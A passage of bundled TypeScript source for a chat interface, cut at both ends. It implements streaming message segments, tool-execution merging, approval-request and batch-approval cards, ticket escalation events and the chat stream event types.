existing.map((s, i) => (i === startedIdx ? compaction : s))\n      : [...existing, compaction]\n  return [...prev.slice(0, -1), { ...last, segments: merged }]\n}\n\n/** Scoped value-compare for the fields a tool merge writes (status/type,\n *  result, success, execId, restored title, parameters). Small objects —\n *  JSON compare for `parameters` keeps a replayed duplicate a no-op even\n *  when the transport rebuilt the object. */\nfunction sameToolData(a: ToolExecutionData, b: ToolExecutionData): boolean {\n  return (\n    a.type === b.type &&\n    a.integratedToolType === b.integratedToolType &&\n    a.toolFunction === b.toolFunction &&\n    a.toolTitle === b.toolTitle &&\n    a.result === b.result &&\n    a.success === b.success &&\n    a.toolExecutionRequestId === b.toolExecutionRequestId &&\n    (a.parameters === b.parameters ||\n      JSON.stringify(a.parameters ?? null) === JSON.stringify(b.parameters ?? null))\n  )\n}\n\nfunction sameExecutionState(\n  a: ApprovalBatchExecutionState | undefined,\n  b: ApprovalBatchExecutionState,\n): boolean {\n  return !!a && a.status === b.status && a.result === b.result && a.success === b.success\n}\n\n/**\n * Cross-message tool-execution updater for post-MESSAGE_END tool chunks\n * (approved commands executing after the approval bubble, async batch\n * results). Scans messages from the end:\n *  1) an `approval_batch` whose `toolCalls` contains the execution id →\n *     merge into its `executions` map;\n *  2) a matching `tool_execution` segment (same id, or EXECUTING with the\n *     same tool for legacy id-less backends) → update in place;\n *  3) no match → append the segment to the trailing assistant bubble.\n *\n * A value-level no-op (replayed duplicate) returns `prev` untouched.\n */\nexport function applyToolExecutionToMessages(\n  prev: UnifiedChatMessage[],\n  segment: ToolExecutionSegment,\n): UnifiedChatMessage[] {\n  const merged = mergeToolExecutionIfPresent(prev, segment)\n  if (merged !== null) return merged\n  return appendToTrailingAssistant(prev, [segment])\n}\n\n/**\n * Merge-only variant of `applyToolExecutionToMessages` — the pure projection\n * used for the cross-SIDE fan-out in `chat-dialog-store.ts`. Updates a\n * matching batch slot / tool segment when present; returns `null` when\n * nothing matches (the caller decides whether to append — projections never\n * do, so a tool that belongs to one side only never grows a card on the\n * other).\n */\nexport function mergeToolExecutionIfPresent(\n  prev: UnifiedChatMessage[],\n  segment: ToolExecutionSegment,\n): UnifiedChatMessage[] | null {\n  const toolData = segment.data\n  const execId = toolData.toolExecutionRequestId\n\n  for (let i = prev.length - 1; i >= 0; i--) {\n    const message = prev[i]\n    if (message.role !== 'assistant' || !message.segments) continue\n\n    for (let j = message.segments.length - 1; j >= 0; j--) {\n      const seg = message.segments[j]\n\n      if (\n        execId &&\n        seg.type === 'approval_batch' &&\n        seg.data.toolCalls.some((c) => c.toolExecutionRequestId === execId)\n      ) {\n        const prevExec: ApprovalBatchExecutionState | undefined = seg.data.executions?.[execId]\n        // Shared rule (`nextBatchExecution`): folds the never-downgrade\n        // guard (JetStream redelivery of EXECUTING after EXECUTED\n        // landed — null = matched-with-no-change, caller doesn't append\n        // either) and the EXECUTED/EXECUTING ternary.\n        const nextExec = nextBatchExecution(prevExec, toolData)\n        if (nextExec === null) return prev\n        // Value-level no-op (replayed duplicate) → prior references.\n        if (sameExecutionState(prevExec, nextExec)) return prev\n        const nextSegments = [...message.segments]\n        nextSegments[j] = withBatchExecution(seg, execId, nextExec)\n        const next = [...prev]\n        next[i] = { ...message, segments: nextSegments }\n        return next\n      }\n\n      if (seg.type === 'tool_execution') {\n        // KNOWN LIMIT (id-less chunks only — current backends always send\n        // toolExecutionRequestId): the fuzzy fallback pairs only with a\n        // segment still EXECUTING, so a replayed id-less EXECUTING/EXECUTED\n        // arriving after the pair completed matches nothing and falls to the\n        // caller's append (duplicate card). Widening the predicate to\n        // EXECUTED twins would instead swallow a LEGITIMATE second run of the\n        // same tool — without ids the two are indistinguishable, and losing a\n        // real run is worse than a duplicate card on a legacy transport.\n        const matches = execId\n          ? seg.data.toolExecutionRequestId === execId\n          : seg.data.type === 'EXECUTING_TOOL' &&\n            seg.data.integratedToolType === toolData.integratedToolType &&\n            seg.data.toolFunction === toolData.toolFunction\n        if (!matches) continue\n        // Never downgrade a completed segment back to EXECUTING (replayed\n        // EXECUTING chunk after its EXECUTED already landed).\n        if (toolData.type === 'EXECUTING_TOOL' && seg.data.type === 'EXECUTED_TOOL') {\n          return prev\n        }\n        const mergedData: ToolExecutionData = {\n          ...toolData,\n          toolTitle: toolData.toolTitle ?? seg.data.toolTitle,\n          parameters: toolData.parameters || seg.data.parameters,\n        }\n        // Value-level no-op (replayed duplicate) → prior references.\n        if (sameToolData(seg.data, mergedData)) return prev\n        const nextSegments = [...message.segments]\n        nextSegments[j] = { type: 'tool_execution', data: mergedData }\n        const next = [...prev]\n        next[i] = { ...message, segments: nextSegments }\n        return next\n      }\n    }\n  }\n\n  return null\n}\n\n/**\n * Project an approval resolution onto the thread — the ONE rule lives in\n * `applyApprovalStatusToSegment` (shared with the accumulator's flat\n * segment list); this is just its message-array projection via\n * `mapSegments`.\n */\nexport function projectApprovalResolutionToMessages(\n  prev: UnifiedChatMessage[],\n  requestId: string,\n  status: ChatApprovalStatus,\n  resolvedByName?: string | null,\n): UnifiedChatMessage[] {\n  return mapSegments(prev, (s) =>\n    applyApprovalStatusToSegment(s, requestId, status, resolvedByName),\n  )\n}\n","/**\n * MessageSegmentAccumulator - Manages accumulation of message segments\n * \n * This class handles the logic for:\n * - Accumulating text segments (appending to existing text)\n * - Managing tool execution states (EXECUTING_TOOL -> EXECUTED_TOOL)\n * - Tracking pending approval requests\n * - Creating approval segments when results arrive\n */\n\nimport type {\n  AskOptionData,\n  MessageSegment,\n  ToolExecutionSegment,\n  ApprovalRequestField,\n  ApprovalRequestSegment,\n  ApprovalBatchSegment,\n  ApprovalBatchExecutionState,\n  ApprovalResolutionHandler,\n  EscalationOfferSegment,\n  TicketEscalatedData,\n  TicketEscalatedSegment,\n  TicketEventData,\n  TicketEventSegment,\n  ContextCompactionSegment,\n  ErrorSegment,\n  PendingApproval,\n  PendingToolCallData,\n  AccumulatorState,\n  ChatApprovalStatus,\n  ExecutingToolState,\n} from '../types'\nimport {\n  applyApprovalStatusToSegment,\n  nextBatchExecution,\n  withBatchExecution,\n} from '../stream/message-mutations'\n\nexport interface AccumulatorCallbacks {\n  /** See `ApprovalResolutionHandler` (message.types) — the SSOT for the\n   *  approve/reject signature incl. the boolean failure flag. */\n  onApprove?: ApprovalResolutionHandler\n  onReject?: ApprovalResolutionHandler\n  /** Escalation offers resolve through the ticket-escalation mutations, NOT\n   *  the tool-approval endpoint, so they carry their own pair of handlers.\n   *  Sharing `onApprove`/`onReject` would POST an offer id to the approval\n   *  endpoint, which has no record of it. */\n  onEscalationApprove?: ApprovalResolutionHandler\n  onEscalationReject?: ApprovalResolutionHandler\n}\n\n/**\n * Accumulator for managing message segments during real-time streaming\n * or historical message processing\n */\nexport class MessageSegmentAccumulator {\n  private segments: MessageSegment[] = []\n  private pendingApprovals: Map<string, PendingApproval> = new Map()\n  private executingTools: Map<string, ExecutingToolState> = new Map()\n  private callbacks: AccumulatorCallbacks = {}\n\n  constructor(callbacks?: AccumulatorCallbacks) {\n    if (callbacks) {\n      this.callbacks = callbacks\n    }\n  }\n\n  /**\n   * Set callbacks for approval actions\n   */\n  setCallbacks(callbacks: AccumulatorCallbacks): void {\n    this.callbacks = callbacks\n  }\n\n  /**\n   * Initialize accumulator with existing state from an incomplete historical message\n   * Used to continue building messages across page refreshes or reconnections\n   */\n  initializeWithState(state: {\n    existingSegments?: MessageSegment[]\n    pendingApprovals?: Map<string, PendingApproval>\n    executingTools?: Map<string, ExecutingToolState>\n  }): void {\n    if (state.existingSegments) {\n      this.segments = [...state.existingSegments]\n    }\n\n    if (state.pendingApprovals) {\n      this.pendingApprovals = new Map(state.pendingApprovals)\n    }\n\n    if (state.executingTools) {\n      this.executingTools = new Map(state.executingTools)\n    }\n  }\n\n  /**\n   * Get current segments\n   */\n  getSegments(): MessageSegment[] {\n    return [...this.segments]\n  }\n\n  /**\n   * Get the state of the accumulator for serialization\n   */\n  getState(): AccumulatorState {\n    return {\n      segments: [...this.segments],\n      pendingApprovals: new Map(this.pendingApprovals),\n      executingTools: new Map(this.executingTools),\n    }\n  }\n\n  /**\n   * Reset the accumulator to initial state\n   */\n  reset(): void {\n    this.segments = []\n    this.pendingApprovals.clear()\n    this.executingTools.clear()\n  }\n\n  /**\n   * Reset only segments (keep pending state for continued processing)\n   */\n  resetSegments(): void {\n    this.segments = []\n  }\n\n  /**\n   * Append text to the current message\n   * If the last segment is text, append to it; otherwise create a new text segment\n   */\n  appendText(text: string): MessageSegment[] {\n    const lastSegment = this.segments[this.segments.length - 1]\n\n    if (lastSegment && lastSegment.type === 'text') {\n      this.segments[this.segments.length - 1] = { type: 'text', text: lastSegment.text + text }\n    } else {\n      this.segments.push({ type: 'text', text })\n    }\n\n    return this.getSegments()\n  }\n\n  /**\n   * Append thinking text to the current message.\n   * If the last segment is thinking, append to it; otherwise start a new thinking segment.\n   */\n  appendThinking(text: string): MessageSegment[] {\n    const lastSegment = this.segments[this.segments.length - 1]\n\n    if (lastSegment && lastSegment.type === 'thinking') {\n      this.segments[this.segments.length - 1] = { type: 'thinking', text: lastSegment.text + text }\n    } else {\n      this.segments.push({ type: 'thinking', text })\n    }\n\n    return this.getSegments()\n  }\n\n  /**\n   * Append guide text to the current message.\n   * If the last segment is guide, append to it; otherwise start a new guide segment.\n   */\n  appendGuide(text: string): MessageSegment[] {\n    const lastSegment = this.segments[this.segments.length - 1]\n\n    if (lastSegment && lastSegment.type === 'guide') {\n      this.segments[this.segments.length - 1] = { type: 'guide', text: lastSegment.text + text }\n    } else {\n      this.segments.push({ type: 'guide', text })\n    }\n\n    return this.getSegments()\n  }\n\n  /**\n   * Add a clarification (ask) card. Unlike the three delta streams an ask\n   * arrives whole in one chunk, so it is always a NEW segment — never merged\n   * into a trailing one. Consecutive cards stay separate segments; the renderer\n   * is what pages through a run of them.\n   */\n  addAsk(question: string, options: AskOptionData[]): MessageSegment[] {\n    this.segments.push({ type: 'ask', question, options })\n    return this.getSegments()\n  }\n\n  /**\n   * Add a tool execution segment.\n   *\n   * Routing:\n   *  1) If `toolExecutionRequestId` matches a tool call inside an existing\n   *     `approval_batch` segment, merge the state into that batch's\n   *     `executions` map (no standalone segment is pushed).\n   *  2) Otherwise: pair EXECUTING ↔ EXECUTED by `toolExecutionRequestId`.\n   *     If no id is present (older backends), fall back to\n   *     `(integratedToolType, toolFunction)` so repeat calls of the same\n   *     function don't all bucket under one key.\n   */\n  addToolExecution(segment: ToolExecutionSegment): MessageSegment[] {\n    const toolData = segment.data\n    const execId = toolData.toolExecutionRequestId\n\n    if (execId && this.applyExecutionToBatch(execId, toolData)) {\n      return this.getSegments()\n    }\n\n    const toolKey = execId || `${toolData.integratedToolType}-${toolData.toolFunction}`\n\n    // A tool only runs after its approval gate was granted. Resolve it here.\n    this.resolvePendingApprovalForExecution()\n\n    if (toolData.type === 'EXECUTING_TOOL') {\n      this.executingTools.set(toolKey, {\n        integratedToolType: toolData.integratedToolType,\n        toolFunction: toolData.toolFunction,\n        toolTitle: toolData.toolTitle,\n        toolExplanation: toolData.toolExplanation,\n        parameters: toolData.parameters,\n      })\n      this.segments.push(segment)\n    } else if (toolData.type === 'EXECUTED_TOOL') {\n      const existingIndex = this.segments.findIndex(\n        (s): s is ToolExecutionSegment =>\n          s.type === 'tool_execution' &&\n          s.data.type === 'EXECUTING_TOOL' &&\n          (execId\n            ? s.data.toolExecutionRequestId === execId\n            : s.data.integratedToolType === toolData.integratedToolType &&\n              s.data.toolFunction === toolData.toolFunction),\n      )\n\n      const executingTool = this.executingTools.get(toolKey)\n      // The backend omits `toolTitle` on EXECUTED_TOOL; restore it from the\n      // paired EXECUTING segment (or its tracked state) so the completed\n      // segment keeps the human-readable title instead of falling back to the\n      // raw `toolFunction`.\n      const existingExecuting =\n        existingIndex !== -1 ? (this.segments[existingIndex] as ToolExecutionSegment) : undefined\n      const mergedSegment: ToolExecutionSegment = {\n        type: 'tool_execution',\n        data: {\n          ...toolData,\n          toolTitle: toolData.toolTitle ?? existingExecuting?.data.toolTitle ?? executingTool?.toolTitle,\n          toolExplanation:\n            toolData.toolExplanation ?? existingExecuting?.data.toolExplanation ?? executingTool?.toolExplanation,\n          parameters: toolData.parameters || executingTool?.parameters,\n        }\n      }\n\n      if (existingIndex !== -1) {\n        this.segments[existingIndex] = mergedSegment\n      } else {\n        this.segments.push(mergedSegment)\n      }\n\n      this.executingTools.delete(toolKey)\n    }\n\n    return this.getSegments()\n  }\n\n  /**\n   * Try to merge a tool execution event into an existing approval_batch\n   * segment whose `toolCalls` contains the same `toolExecutionRequestId`.\n   * Returns true when a batch was updated, false when no batch matches.\n   */\n  private applyExecutionToBatch(execId: string, toolData: ToolExecutionSegment['data']): boolean {\n    let matched = false\n    this.segments = this.segments.map((seg) => {\n      if (matched) return seg\n      if (seg.type !== 'approval_batch') return seg\n      const hasCall = seg.data.toolCalls.some((c) => c.toolExecutionRequestId === execId)\n      if (!hasCall) return seg\n\n      const prev: ApprovalBatchExecutionState | undefined = seg.data.executions?.[execId]\n      // Shared rule (`nextBatchExecution` from message-mutations): the\n      // never-downgrade guard + EXECUTED/EXECUTING ternary — one\n      // implementation with the message-array projection.\n      const next = nextBatchExecution(prev, toolData)\n      matched = true\n      if (next === null) return seg\n      return withBatchExecution(seg, execId, next)\n    })\n    return matched\n  }\n\n  /**\n   * A tool only ever runs after its approval gate was granted. The legacy /\n   * single `approval_request` segment carries no `toolExecutionRequestId` to\n   * correlate with the execution, and an observer (e.g. a technician\n   * mirroring the client chat) may never receive an `APPROVAL_RESULT` chunk —\n   * only the tool's `EXECUTING_TOOL` / `EXECUTED_TOOL` events. Treat the\n   * arrival of a tool execution as implicit approval of the most recent\n   * still-pending gate so the card does not stay stuck `pending` in realtime.\n   *\n   * The agent stays paused while an approval is outstanding, so there is at\n   * most one relevant gate; flipping only the latest pending one is safe and\n   * monotonic (never downgrades, can't make a correct state wrong — an\n   * unapproved tool cannot execute). `approval_batch` is handled separately by\n   * `applyExecutionToBatch` and is intentionally left untouched here.\n   */\n  private resolvePendingApprovalForExecution(): void {\n    for (let i = this.segments.length - 1; i >= 0; i--) {\n      const seg = this.segments[i]\n      if (seg.type === 'approval_request' && seg.status === 'pending') {\n        this.segments[i] = { ...seg, status: 'approved' }\n        return\n      }\n    }\n  }\n\n  /**\n   * Track a pending approval request\n   */\n  trackApprovalRequest(requestId: string, data: PendingApproval): void {\n    this.pendingApprovals.set(requestId, data)\n  }\n\n  /**\n   * Add an approval request segment directly (for CLIENT approvals)\n   */\n  addApprovalRequest(\n    requestId: string,\n    command: string,\n    explanation: string | undefined,\n    approvalType: string,\n    status: ChatApprovalStatus = 'pending',\n    /** Structured label/value rows. The card prefers them over `explanation`\n     *  (see `ApprovalRequestData.fields`). Optional because the agent's own\n     *  approvals carry prose; a Product Guide card is almost entirely fields —\n     *  dropping them here left it as a bare title. */\n    fields?: ApprovalRequestField[],\n    /** Where the card came from; `'guide'` keeps it inline (see\n     *  `ApprovalRequestData.origin`). */\n    origin?: 'guide'\n  ): MessageSegment[] {\n    this.segments.push(\n      this.buildApprovalRequestSegment(\n        requestId,\n        { command, explanation, approvalType, fields, origin },\n        status,\n      ),\n    )\n    return this.getSegments()\n  }\n\n  /**\n   * Build one approval-request segment — THE constructor for this segment type.\n   *\n   * Three paths produce these: `addApprovalRequest` (live stream and replay),\n   * `flushPendingApprovals` (tracked-but-unresolved after a history replay) and\n   * `processApprovalResult` (a result arriving for a tracked request). They used\n   * to hand-write the object each, which is how `fields` and `origin` reached\n   * the card down one path and not the others — the same proposal rendering as a\n   * bare title, or losing the marker that routes its buttons to the hub.\n   */\n  private buildApprovalRequestSegment(\n    requestId: string,\n    approval: PendingApproval,\n    status: ChatApprovalStatus,\n  ): ApprovalRequestSegment {\n    return {\n      type: 'approval_request',\n      data: {\n        command: approval.command,\n        explanation: approval.explanation,\n        requestId,\n        approvalType: approval.approvalType,\n        ...(approval.fields && approval.fields.length > 0 ? { fields: approval.fields } : {}),\n        ...(approval.origin ? { origin: approval.origin } : {}),\n      },\n      status,\n      onApprove: this.callbacks.onApprove,\n      onReject: this.callbacks.onReject,\n    }\n  }\n\n  /**\n   * Add a batch approval segment containing multiple tool calls. Upserts by\n   * `approvalRequestId`: when a batch with the same id is already in the\n   * accumulator, the existing segment is updated in place rather than a\n   * second segment being pushed. This matters for the consumer-store replay\n   * path, which feeds `[existing..., new...]` into `replaySegments` and would\n   * otherwise produce two batch segments for the same approval after a\n   * status flip or per-tool execution merge.\n   *\n   * `approvalType` is the highest-privilege type required across the batch.\n   * `executions` is forwarded as-is. On upsert, a new `executions` object\n   * overrides the existing one (so the latest replay wins).\n   */\n  addApprovalBatch(\n    approvalRequestId: string,\n    approvalType: string,\n    toolCalls: PendingToolCallData[],\n    status: ChatApprovalStatus = 'pending',\n    executions?: Record<string, ApprovalBatchExecutionState>,\n    resolvedByName?: string | null,\n    /** Where the batch came from; `'guide'` keeps it inline and routes it to\n     *  the hub, exactly as for a single card (see `ApprovalBatchData.origin`). */\n    origin?: 'guide',\n  ): MessageSegment[] {\n    const existingIndex = this.segments.findIndex(\n      (s): s is ApprovalBatchSegment =>\n        s.type === 'approval_batch' && s.data.approvalRequestId === approvalRequestId,\n    )\n\n    if (existingIndex !== -1) {\n      const existing = this.segments[existingIndex] as ApprovalBatchSegment\n      const mergedExecutions = executions ?? existing.data.executions\n      // An upsert must not strip the marker: the flip to `approved` comes from\n      // a later event that carries no origin of its own.\n      const mergedOrigin = origin ?? existing.data.origin\n      this.segments[existingIndex] = {\n        ...existing,\n        data: {\n          approvalRequestId,\n          approvalType,\n          toolCalls,\n          ...(mergedExecutions ? { executions: mergedExecutions } : {}),\n          ...(mergedOrigin ? { origin: mergedOrigin } : {}),\n        },\n        status,\n        resolvedByName: resolvedByName ?? existing.resolvedByName,\n        onApprove: this.callbacks.onApprove,\n        onReject: this.callbacks.onReject,\n      }\n      return this.getSegments()\n    }\n\n    const segment: ApprovalBatchSegment = {\n      type: 'approval_batch',\n      data: {\n        approvalRequestId,\n        approvalType,\n        toolCalls,\n        ...(executions ? { executions } : {}),\n        ...(origin ? { origin } : {}),\n      },\n      status,\n      resolvedByName,\n      onApprove: this.callbacks.onApprove,\n      onReject: this.callbacks.onReject,\n    }\n\n    this.segments.push(segment)\n    return this.getSegments()\n  }\n\n  /**\n   * Process an approval result and create a segment\n   * Returns the pending approval data if found\n   */\n  processApprovalResult(\n    requestId: string,\n    approved: boolean,\n    approvalType: string\n  ): { segment: ApprovalRequestSegment; pendingData: PendingApproval | null } | null {\n    const pendingApproval = this.pendingApprovals.get(requestId)\n    const status: ChatApprovalStatus = approved ? 'approved' : 'rejected'\n\n    const segment = this.buildApprovalRequestSegment(\n      requestId,\n      {\n        ...pendingApproval,\n        command: pendingApproval?.command || '',\n        approvalType: pendingApproval?.approvalType || approvalType,\n      },\n      status,\n    )\n\n    this.segments.push(segment)\n    \n    if (pendingApproval) {\n      this.pendingApprovals.delete(requestId)\n    }\n    \n    return { segment, pendingData: pendingApproval || null }\n  }\n\n  /**\n   * Add a ticket-escalation offer block. Upserts by `offerId` for the same\n   * reason `addApprovalBatch` does: the consumer-store replay path feeds\n   * `[existing..., new...]` back through `replaySegments`, which would\n   * otherwise yield two cards for one offer.\n   */\n  addEscalationOffer(\n    offerId: string,\n    text: string,\n    origin: string | undefined,\n    status: ChatApprovalStatus = 'pending',\n    resolvedByName?: string | null,\n  ): MessageSegment[] {\n    const existingIndex = this.segments.findIndex(\n      (s): s is EscalationOfferSegment =>\n        s.type === 'escalation_offer' && s.data.offerId === offerId,\n    )\n    const existing =\n      existingIndex !== -1 ? (this.segments[existingIndex] as EscalationOfferSegment) : undefined\n\n    const segment: EscalationOfferSegment = {\n      type: 'escalation_offer',\n      // The resolved chunk carries no text/origin — a redelivered offer must\n      // not blank the card the PENDING chunk already painted.\n      data: { offerId, text: text || existing?.data.text || '', origin: origin ?? existing?.data.origin },\n      status,\n      resolvedByName: resolvedByName ?? existing?.resolvedByName,\n      onApprove: this.callbacks.onEscalationApprove,\n      onReject: this.callbacks.onEscalationReject,\n    }\n\n    if (existingIndex !== -1) {\n      this.segments[existingIndex] = segment\n      return this.getSegments()\n    }\n\n    this.segments.push(segment)\n    return this.getSegments()\n  }\n\n  /**\n   * Add the handoff receipt. Upserts by `ticketId` so a redelivered block\n   * (JetStream catch-up over hydrated history) can't stack a second notice.\n   */\n  addTicketEscalated(data: TicketEscalatedData): MessageSegment[] {\n    const segment: TicketEscalatedSegment = { type: 'ticket_escalated', data }\n    const existingIndex = this.segments.findIndex(\n      (s) => s.type === 'ticket_escalated' && s.data.ticketId === data.ticketId,\n    )\n    if (existingIndex !== -1) {\n      this.segments[existingIndex] = segment\n      return this.getSegments()\n    }\n    this.segments.push(segment)\n    return this.getSegments()\n  }\n\n  /**\n   * Add a ticket lifecycle receipt (resolved / reopened / unknown kind).\n   *\n   * Upsert identity is the chunk's stream sequence when BOTH sides know it.\n   * The payload fallback exists for one overlap only: history hydration is\n   * seq-less (the persisted row's seq lives on the message, not the\n   * `messageData`), so a JetStream catch-up redelivery of the same event must\n   * still match its hydrated twin. That twin is necessarily the LATEST ticket\n   * event, so the fallback may consider only that one — scanning older\n   * segments swallowed a genuinely REPEATED event: resolve → reopen → resolve\n   * by the same actor is payload-identical to the first resolve, and matching\n   * the old card meant the final one never rendered.\n   */\n  addTicketEvent(data: TicketEventData, streamSeq?: number, occurredAt?: Date): MessageSegment[] {\n    const segment: TicketEventSegment = {\n      type: 'ticket_event',\n      data,\n      ...(streamSeq !== undefined ? { streamSeq } : {}),\n      ...(occurredAt !== undefined ? { occurredAt } : {}),\n    }\n    let existingIndex =\n      streamSeq !== undefined\n        ? this.segments.findIndex((s) => s.type === 'ticket_event' && s.streamSeq === streamSeq)\n        : -1\n    if (existingIndex === -1) {\n      for (let i = this.segments.length - 1; i >= 0; i--) {\n        const s = this.segments[i]\n        if (s.type !== 'ticket_event') continue\n        // Both seqs known and unequal: proven distinct, never payload-match.\n        const seqsDistinguish = s.streamSeq !== undefined && streamSeq !== undefined\n        if (\n          !seqsDistinguish &&\n          s.data.kind === data.kind &&\n          s.data.actorId === data.actorId &&\n          s.data.actorName === data.actorName &&\n          s.data.actorType === data.actorType &&\n          s.data.reason === data.reason &&\n          s.data.targetStatusKind === data.targetStatusKind\n        ) {\n          existingIndex = i\n        }\n        break\n      }\n    }\n    if (existingIndex !== -1) {\n      // The FIRST-known time wins: the hydrated twin carries the row's real\n      // `createdAt`, while a catch-up redelivery only knows its (late) arrival\n      // time — replacing wholesale would regress the card to arrival or, with\n      // neither side stamped, to the bubble timestamp.\n      const existing = this.segments[existingIndex] as TicketEventSegment\n      const occurredAt = existing.occurredAt ?? segment.occurredAt\n      this.segments[existingIndex] = occurredAt !== undefined ? { ...segment, occurredAt } : segment\n      return this.getSegments()\n    }\n    this.segments.push(segment)\n    return this.getSegments()\n  }\n\n  /**\n   * Update status of an existing approval segment (single, batch, or\n   * escalation offer).\n   * `resolvedByName` (when provided) is stamped onto the matching batch segment so the\n   * resolved card shows \"by {name}\"; omit it to leave any existing value untouched.\n   */\n  updateApprovalStatus(\n    requestId: string,\n    status: ChatApprovalStatus,\n    resolvedByName?: string | null,\n  ): MessageSegment[] {\n    // ONE rule, two containers: `applyApprovalStatusToSegment` is the\n    // same predicate the message-array projection uses\n    // (`projectApprovalResolutionToMessages`) — anchor status flip AND\n    // batch-row execution tick, so this flat-list path can never drift\n    // from the projection again (it previously missed the row case).\n    this.segments = this.segments.map((segment) =>\n      applyApprovalStatusToSegment(segment, requestId, status, resolvedByName),\n    )\n    return this.getSegments()\n  }\n\n  /**\n   * Get pending approvals that haven't been resolved\n   */\n  getPendingApprovals(): Map<string, PendingApproval> {\n    return new Map(this.pendingApprovals)\n  }\n\n  /**\n   * Check if there are any pending approvals\n   */\n  hasPendingApprovals(): boolean {\n    return this.pendingApprovals.size > 0\n  }\n\n  /**\n   * Create segments for all remaining pending approvals\n   */\n  flushPendingApprovals(): ApprovalRequestSegment[] {\n    const segments: ApprovalRequestSegment[] = []\n\n    this.pendingApprovals.forEach((approval, requestId) => {\n      segments.push(this.buildApprovalRequestSegment(requestId, approval, 'pending'))\n    })\n\n    return segments\n  }\n\n  /**\n   * Add a context compaction segment with 'started' status\n   */\n  addContextCompaction(): MessageSegment[] {\n    this.segments.push({ type: 'context_compaction', status: 'started' })\n    return this.getSegments()\n  }\n\n  /**\n   * Complete a context compaction segment\n   */\n  completeContextCompaction(summary?: string): MessageSegment[] {\n    const existingIndex = this.segments.findIndex(\n      (s): s is ContextCompactionSegment =>\n        s.type === 'context_compaction' && s.status === 'started'\n    )\n\n    const completedSegment: ContextCompactionSegment = {\n      type: 'context_compaction',\n      status: 'completed',\n      summary,\n    }\n\n    if (existingIndex !== -1) {\n      this.segments[existingIndex] = completedSegment\n    } else {\n      this.segments.push(completedSegment)\n    }\n\n    return this.getSegments()\n  }\n\n  /**\n   * Add an error segment\n   */\n  addError(title: string, details?: string): MessageSegment[] {\n    this.segments.push({ type: 'error', title, details })\n    return this.getSegments()\n  }\n\n  /**\n   * Reset and replay a full segment array through the accumulator.\n   */\n  replaySegments(segments: MessageSegment[]): MessageSegment[] {\n    this.reset()\n    for (const segment of segments) {\n      switch (segment.type) {\n        case 'text':\n          if (segment.text) this.appendText(segment.text)\n          break\n        case 'thinking':\n          if (segment.text) this.appendThinking(segment.text)\n          break\n        case 'guide':\n          if (segment.text) this.appendGuide(segment.text)\n          break\n        case 'ask':\n          this.addAsk(segment.question, segment.options)\n          break\n        case 'tool_execution':\n          this.addToolExecution(segment)\n          break\n        case 'approval_request': {\n          const { data, status } = segment\n          this.addApprovalRequest(\n            data.requestId || '',\n            data.command,\n            data.explanation,\n            data.approvalType || '',\n            status,\n            data.fields,\n            data.origin,\n          )\n          break\n        }\n        case 'approval_batch': {\n          const { data, status, resolvedByName } = segment\n          this.addApprovalBatch(\n            data.approvalRequestId,\n            data.approvalType,\n            data.toolCalls,\n            status,\n            data.executions,\n            resolvedByName,\n            data.origin,\n          )\n          break\n        }\n        case 'escalation_offer': {\n          const { data, status, resolvedByName } = segment\n          this.addEscalationOffer(data.offerId, data.text, data.origin, status, resolvedByName)\n          break\n        }\n        case 'ticket_escalated':\n          this.addTicketEscalated(segment.data)\n          break\n        case 'ticket_event':\n          this.addTicketEvent(segment.data, segment.streamSeq, segment.occurredAt)\n          break\n        case 'error':\n          this.addError(segment.title, segment.details)\n          break\n        case 'context_compaction':\n          if (segment.status === 'started') {\n            this.addContextCompaction()\n          } else if (segment.status === 'completed') {\n            this.completeContextCompaction(segment.summary)\n          }\n          break\n      }\n    }\n    return this.getSegments()\n  }\n\n  /**\n   * Check if segments have any content\n   */\n  hasContent(): boolean {\n    return this.segments.length > 0\n  }\n\n  /**\n   * Get the number of segments\n   */\n  get length(): number {\n    return this.segments.length\n  }\n}\n\n/**\n * Create a new accumulator instance with callbacks\n */\nexport function createMessageSegmentAccumulator(callbacks?: AccumulatorCallbacks): MessageSegmentAccumulator {\n  return new MessageSegmentAccumulator(callbacks)\n}\n","/**\n * Normalized chat stream events — the transport-agnostic event union BOTH\n * decoders (SSE byte framing in `./decode.ts`, NATS chunks in\n * `./nats-decoder.ts`) emit. Phase 3 of the chat unification makes the\n * reducer consume these directly; today the SSE adapter maps them back to\n * legacy `MessageSegment` yields.\n *\n * Server-safe: no React, no browser APIs.\n */\n\n// The wire-frame shapes these events carry through are defined ONCE in\n// `./frames.ts` — reuse them here rather than restating their fields.\nimport type {\n  ApprovalRequestField,\n  DecisionResolvedFrame,\n  UsageTelemetry,\n} from './frames'\n// The ask card's option shape is the SEGMENT's shape — the decoder hands the\n// rows straight to the accumulator, so restating them here would be two\n// declarations of one wire contract. Type-only import from a React-free\n// module; `nats-decoder.ts` already depends on the same file for MESSAGE_TYPE.\nimport type { AskOptionData } from '../components/chat/types/message.types'\n\n/** Optional envelope on every event. `seq` carries the transport's\n *  stream sequence (JetStream `streamSeq` on NATS; unused on SSE). */\ninterface ChatStreamEventBase {\n  seq?: number\n}\n\n/** Stream entered answer-text mode (SSE: the `\\x1E` sentinel or the\n *  JSON-parse-failure fallback; NATS: MESSAGE_START).\n *  `implicit` is true ONLY for the SSE fallback path where a\n *  non-JSON leading buffer flips straight into text mode — consumers\n *  that flush coalesced thinking on turn-start must SKIP the flush for\n *  implicit starts (legacy adapter parity: the fallback path never\n *  flushed pending thinking before the text). */\nexport interface TurnStartEvent extends ChatStreamEventBase {\n  type: 'turn-start'\n  implicit?: boolean\n}\n\nexport interface TurnEndEvent extends ChatStreamEventBase {\n  type: 'turn-end'\n}\n\n/** Answer text delta. `leading: true` marks SSE `text-leading` frames\n *  (model preamble prose emitted BEFORE the tool approval card). */\nexport interface TextDeltaEvent extends ChatStreamEventBase {\n  type: 'text-delta'\n  text: string\n  leading?: boolean\n}\n\n/** Thinking delta — APPEND-ONLY contract: each event carries the next\n *  verbatim slice; consumers accumulate. Decoders never diff. */\nexport interface ThinkingDeltaEvent extends ChatStreamEventBase {\n  type: 'thinking-delta'\n  text: string\n}\n\n/** Guide-body delta (NATS `GUIDE` chunk) — the assistant's how-to /\n *  documentation answer, rendered as a titled \"OpenFrame Guide\" card rather\n *  than bare prose. Same APPEND-ONLY contract as `text-delta` /\n *  `thinking-delta`: each event carries the next verbatim slice and consumers\n *  coalesce into the trailing `guide` segment. NATS-only today — the SSE\n *  frame grammar has no guide frame — but it lives in the shared union\n *  because the reducer is transport-agnostic. */\nexport interface GuideDeltaEvent extends ChatStreamEventBase {\n  type: 'guide-delta'\n  text: string\n}\n\n/** Clarification card (NATS `ASK` chunk) — the assistant asking which 